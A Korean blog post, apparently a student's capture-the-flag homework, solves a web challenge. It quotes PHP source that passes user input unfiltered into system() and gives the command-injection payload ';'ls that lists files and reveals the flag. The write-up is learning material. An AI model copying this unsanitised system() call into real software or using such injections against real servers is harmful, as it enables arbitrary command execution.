· 이 페이지에 들어가보니 name이라는 사용자 입력칸이 있었고, 제출 버튼과 소스보기 버튼이 있었다. 아무 값이나 넣어서 제출해보니 'hello! {name}' 이런 식으로 출력되는 것 같았다.
· 다음으로 소스보기에 들어가보니 내 생각이 맞았다는 것을 알 수 있었고, system()함수를 그 안에 필터링 없이 사용자 입력값을 넣어 실행하는 것으로 보아 command injection이라는 것을 알 수 있었다.
<?php
if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
if($_POST['id']){
$id = $_POST['id'];
$id = substr($id,0,5);
system("echo 'hello! {$id}'"); // You just need to execute ls
}
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>
· 따라서 id값에 따옴표를 탈출하기 위해 '을 입력하고, 다른 명령어를 실행하기 위해 세미콜론(;)을 넣어준 뒤, id 뒤에 있는 따옴표에서 오류가 안 나게 하기 위해 ls명령어를 넣어주되, 앞에 따옴표를 하나 넣어주면 화면에 ls의 결과가 출력됨을 알 수 있다.
- ';'ls -> "echo 'hello ! ';'ls'"
· 화면에 나온 결괏값들 중, flag라는 문자열이 포함된 파일 이름을 발견할 수 있었는데, url 변경으로 이 파일 경로로 접속해봤더니 플래그가 나왔다.
'web hacking' 카테고리의 다른 글
Layer7 마지막 과제 2 - simple_sqli 풀이 (0) | 2022.11.01 |
---|---|
Layer7 8차시 과제 - blind command (0) | 2022.05.25 |
layer7 과제 - 드림핵 38번 (0) | 2022.05.22 |
layer7 과제 - portswigger : Lab: SQL injection UNION attack, retrieving data from other tables (0) | 2022.05.22 |
layer7 과제 - 드림핵 37번 (0) | 2022.05.22 |